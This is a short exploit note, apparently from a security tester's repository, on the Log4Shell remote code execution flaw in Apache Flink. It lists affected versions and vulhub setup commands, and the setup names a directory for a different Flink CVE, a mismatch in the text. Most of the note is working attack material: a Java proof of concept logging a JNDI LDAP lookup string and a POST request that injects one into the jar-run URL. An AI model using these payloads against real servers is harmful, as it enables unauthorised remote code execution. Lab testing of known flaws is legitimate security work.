Apache-Flink

Apache Flink log4j RCE

Version

< v1.14.2, < v1.13.5, < v1.12.7, < v1.11.6

vulhub

cd vulhub/flink/CVE-2020-17518
docker-compose up -d

upload log4j RCE jar

I've tested it

click button -- submit

Poc

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Test {
    private static final Logger logger = LogManager.getLogger(Test.class);

    public static void main(String[] args) {
        logger.error("${jndi:ldap://flink_test.xxxxxxx}");
    }

}

Other Pocs

POST: http://0.0.0.0:8081/jars/${jndi:ldap:%252f%252f0.0.0.0%252f123}.jar/run